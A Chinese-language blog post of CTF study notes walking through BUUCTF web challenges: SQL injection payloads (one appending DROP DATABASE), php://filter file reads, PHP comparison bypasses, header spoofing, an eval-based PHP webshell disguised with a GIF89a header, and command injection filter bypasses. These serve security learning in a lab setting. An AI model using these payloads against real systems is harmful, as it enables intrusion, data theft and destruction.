这是一份实时更新的BUUCTF Web类的学习笔记

第一次接触ctf,就先从web开始吧

[极客大挑战 2019]EasySQL

登陆页面 => sql注入
密码尝试 1' or '1' = '1
login success!!

万能密码

很多的密码框处的查询语句为

select username,password from users where username=$_GET['username'] and password=$_GET['password']

带入万能密码后为

select username,password from users where username='Whatever' and password='1' or '1' = '1' 

sql中and优先级高于or => 上面语句在密码不对时值为'1' = '1'为true => 登陆成功
同理 可以通过username实现 输入' or 1 = '1' -- password =
— 表示注释

还可以输入' or 1 = '1' ; DROP DATABASE (DB Name)-- password =
DROP DATABASE (DB Name)表示删除已存在的数据库
试一下竟然是这样一个彩蛋

[极客大挑战 2019]Havefun

查看源码后发现这一段php代码注释

 <!--
        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
        -->

不会php 于是就去查了一下 大概意思就是当cat=dog的时候会输出一些别的东西
所以就用 GET 方法传入 把请求参数和对应的值附加在 URL 后面
http://123d252f-6fce-4069-99bc-fa3c6f711189.node4.buuoj.cn:81/?cat=dog
这样网页中就显示了flag

[ACTF2020 新生赛]Include

使用php伪协议php://filter 读取flag.php并进行base64编码输出

?file=php://filter/read=convert.base64-encode/resource=./flag.php

得到

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YmU3MDc3MmItMWViZC00NDZhLThmZmQtMDlkMmNkYjU5Njg3fQo=

base64解码后得到

<?php
echo "Can you find out the flag?";
//flag{be70772b-1ebd-446a-8ffd-09d2cdb59687}

[HCTF 2018]admin

逐个页面看源码
从最开始的页面看到you are not admin的注释
从change password的页面找到了项目源码https://github.com/woadsl1234/hctf_flask/ 点进去发现是一个叫flask的东西 没听说过
只好到处点开看看 发现index.html中有这样一段:

{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}

所以确认了这道题是要以admin登入 也就是搞出密码
先直接burpsuite爆破试了一下

爆破成功!

密码竟然就是123
直接login 得到了flag

[ACTF2020 新生赛]BackupFile

目标是找备份文件
常见的备份文件后缀名有 .git .svn .swp .~ .bak .bash_history
常见的文件名有source.php, robots.txt, index.php.bak, www.zip, bak.zip, tar.gz, www.rar
用dirsearch扫描 发现了文件index.php.bat
自动下载后打开如下:

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);//使key转为int
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

要让key的值==str来输出flag
同时又不能让key不为数字

中间将key的值转为了int 也就是说在后面key和str的弱比较时
str也会被转为int 即123
所以直接让key等于123就可以了

[MRCTF2020]Ez_bypass

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}Please input first

是一道注入的题

第一步要求id和gg不一样但md5后值一样
不太会 去查了查才知道这是用数组绕过 因为md5遇到数组都返回null

第二步又是弱比较 passwd在1234567后随便加字母就可以le

[BJDCTF2020]Easy MD5

直接拿去爆破了 失败以后直接g

第一次知道header里面还能有hint:

select * from 'admin' where password=md5($pass,true)

一查md5($pass,true)还是挺常见的一个东西 变量pass先转为16位2进制的格式再通过md5加密后的结果 用这个结果完成注入
要能够完成注入的话 需要以'or'再加上一个非零的数字开头

一般来说这个pass是ffifdyop 转为最终结果是'or'6<trash>

输入后到了第2关 source里发现了一段php

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.

简单的数组绕过或用0e
然后到第三关一样 强类型比较 数组绕过就可

[SUCTF 2019]EasySQL

一个简单的输入框 其他的什么也没有

试了各种注入方法 盲注 联合查询这些都没用
输入数字和堆叠注入可以得到一些内容 但不知道有啥用

看答案
是要猜出输入非零数字得到的回显&输入其他字符得不到回显=>内部的查询语句可能存在有||
就相当于输入语句是这样的

select " " || "flag" from Flag

所以可以输入*, 1

也可以输入1;set sql_mode=pipes_as_concat;select 1
set sql_mode=pipes_as_concat可以把||当作连接符而不是逻辑运算
连起来就等于 select 1&flag from Flag

得到flag

[极客大挑战 2019]Http

源码里发现secret.php
打开后提示It doesn’t come from ‘https://Sycsecret.buuoj.cn’
很容易想到bs抓个包修改一下header中的referer

输入Referer:https://Sycsecret.buuoj.cn
注意一定要加在header中间 不能空一行加在最后 总之就是得和原header连着

send后又收到提示Please use “Syclover” browser
呐就再改一下User-Agent为Syclover

send后又收到提示No!!! you can only read this locally!!!
呐就再把XFF设为本地
输入X-Forwarded-For: 127.0.0.1

得到flag

[极客大挑战 2019]Secret File

几个页面看源码下来没什么收获
试着用bs抓包 在第二个页面点secret时抓包有了发现
发现抓包时GET的是action.php而不是正常跳转过去的end.php
大概是中间被转走了
内容如下

<html>
<!--
   secr3t.php        
-->
</html>
<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

试着访问flag.php 不行
所以flag.php应该在后端
file=php://filter/convert.base64-encode/resource=flag.php获得base64编码后的字符串 再进行解码得到下面这些

<!DOCTYPE html>

<html>

    <head>
        <meta charset="utf-8">
        <title>FLAG</title>
    </head>

    <body style="background-color:black;"><br><br><br><br><br><br>
        
        <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
        
        <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
            <?php
                echo "我就在这里";
                $flag = 'flag{96374c20-6358-464b-acc9-289dcc07f342}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
            ?>
        </p>
    </body>

</html>

结束

[极客大挑战 2019]Upload

一道文件上传的题

先试着传一下php文件 显示Not image 说明是有白名单的 不是image好办 改一下Content-Type或先上传image再改后缀都可 但又显示NOT!php! 说明后续又有针对php的检查
php不行就再试一下phtml文件 还是那一套流程 刚才的问题解决了 但又提示NO! HACKER! your file included ‘<?’ 意思是对文件内的<?进行了检查 绕过这个检查可以用

<script language="php">eval($_POST['shell']);</script>

但改过这个后问题又来了 又显示Don’t lie to me, it’s not image at all!!! 应该是对文件头进行了检查 那么在一句话木马前面加上GIF89a伪造一下就好了

随后成功上传phtml文件 但最后一个问题是文件路径 随便猜了一下最常规的/upload就对了 不玩运气的dirsearch扫描肯定也能扫出来 知道了路径就能蚁剑连接了 最后在根目录找到flag

[ACTF2020 新生赛]Upload

看一下源代码知道有js验证 先抓包改一下后缀 发现php不行 说明后端对php后缀还有检查 试一下其他形式的后缀 用phtml上传成功了 所以后端是没过滤phtml的 蚁剑连接就完了

[极客大挑战 2019]Knife

一进去就看到eval($_POST["Syc"]);这样一个一句话木马 结合题目knief 菜刀丢了的提示 白给的shell这样的网页标题 直接试了一下蚁剑连接就成功了

[GXYCTF2019]Ping Ping Ping

一进来只有一个/?ip= 一看就是一道RCE注入的题
先试了一下?ip=127.0.0.1&ls 正常显示ping没什么特别的
又试了一下?ip=127.0.0.1;ls 出现了flag.php和index.php 大概是目录下的文件

随后就是要搞出来flag.php的内容

先试了一下?ip=127.0.0.1;cat flag.php 得到/?ip= fxck your space!的提示 说明有对空格的检测
去查了一下空格过滤 可以用$IFS$9, ${IFS}来替换
再尝试?ip=127.0.0.1;cat$IFS$9flag.php 又有/?ip= fxck your flag! 说明flag也不能直接出现 回想了一下之前看到过的这种变量代换的方法表示出flag 这样就成功了

?ip=127.0.0.1;b=g;cat$IFS$9fla$b.php

但有一点疑惑的是?ip=127.0.0.1;a=fla;b=g;cat$IFS$9$a$b.php仍会被检查到flag 去查了一下才想起来是可以先去看index.php中的过滤代码的

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}
?>

前面的过滤方式很好理解
看到 symbol 的突然想起之前如果用 ${IFS} 就寄了

不太懂的是flag那里 只好去查:
preg_match("/.*f.*l.*a.*g.*/", $ip)是一个正则匹配
就是f, l, a, g这四个字母不能按顺序出现
比如这样就不行

?ip=127.0.0.1;b=fla;a=g;cat$IFS$9$b$a.php

如果是这样就又可以了

?ip=127.0.0.1;a=g;b=fla;cat$IFS$9$b$a.php

别人的题解真的打开新世界
还有一种解法

?ip=127.0.0.1;cat$IFS$9`ls`

一种内联执行 把反引号的输出作为所属命令的输入
这样一下就把目录下的所有文件全打印出来了

[MRCTF2020]你传你?呢

先传个 .htaccess试一下 失败之后 传个正常照片格式的文件抓包改下Content-Type和后缀试试 试出来验证机制是针对Content-Type的且会对php后缀有过滤机制

所以传.htaccess的时候改个Content-Type就好了

[HCTF 2018]WarmUp

F12 根据注释打开source.php 出现了一大片php代码

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>
flag not here, and flag in ffffllllaaaagggg

先给出了白名单 然后又经过了两次问号过滤 过滤后仍需要在白名单内

通过hint可以知道最后要访问到 ffffllllaaaagggg 也就是 file 为 ffffllllaaaagggg 的路径
推测 ffffllllaaaaggg 应该是在很后面级别的目录里

另外因为过滤中的 mb_strpos 是获取第一个 ? 这样如果原本在字符串内的 ? 是可以提前截断的 相当于只要输入的字符串中的 ? 前字符串在白名单就可以了 而不需要整个字符串都要在白名单
试一下 ?file=source.php? 发现不会报错 说明没问题

最后构造一下 利用 ? 绕过白名单验证就可以了 ../ 表示上一级目录

?file=hint.php?../../../../../ffffllllaaaagggg

[ACTF2020 新生赛]Exec

一个 ping 的框 先试一下 127.0.0.1&ls 发现只有一个index.php
再看一下网站根目录 127.0.0.1&ls / 看到有flag
所以直接 127.0.0.1&cd /; cat flag

[极客大挑战 2019]LoveSQL

Unknown column ‘4’ in ‘order clause’

[极客大挑战 2019]PHP

/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

[强网杯 2019]随便注

先用order by查出只有两个字段 但在union select时 发现有一个正则表达式把很多词过滤了

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);


因为没有过滤show 就先堆叠注入看看结构

show databases;
show tables;
show columns from table_name;

查到一个words表和一个1919810931114514表 1919810931114514里面有flag 所以大概正常回显的是words表的信息

然后就不会了 只能查到有这个东西但不会查看

去查了题解 发现有两种方法:

  1. 用 mysql 特有的 handler 语句来爆表 参考
  2. 用 alter, change, rename 先把words表改成其他名字 再把那一串数字改成words 通过正常回显得到flag内容 参考

第一种:

handler original_table open as your_table; #指定数据表进行载入并将返回句柄重命名
handler your_table read first; #读取指定表/句柄的首行数据
handler your_table read next; #读取指定表/句柄的下一行数据
handler your_table read next; #读取指定表/句柄的下一行数据
...
handler your_table close; #关闭句柄

由此可得此题 payload:

1'; handler `1919810931114514` open as `a`; handler `a` read next;#

第二种:

alter table " table_name" add " column_name"  type (not null或null);
alter table " table_name" drop " column_name"  type (not null或null);
alter table persons add age primary key (id); //指定主键
alter table person add unique (id); //唯一
alter table person add check (id>0); //限制值范围
alter table " table_name" alter column " column_name" type;
alter table " table_name" change " column1" " column2" type;
alter table "table_name" rename "column1" to "column2";
alter table person alter city set default 'chengdu'; //mysql指定默认参数

So 此题 payload:

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);

Keep updating…

Tagged in:

, , ,

About the Author

XFishalways

Fisher不钓鱼 川大21级在读 网络空间安全专业 7年前的围棋业余5段 素描彩铅水粉国画书法童子功拥有者 Hala Madrid Letsgo Pat Self-Commentator Analyzer ing 七年前的业余5段 AI Skipper nparadigm申工智能yyds 飞禽岛少年Lee Sedol

View All Articles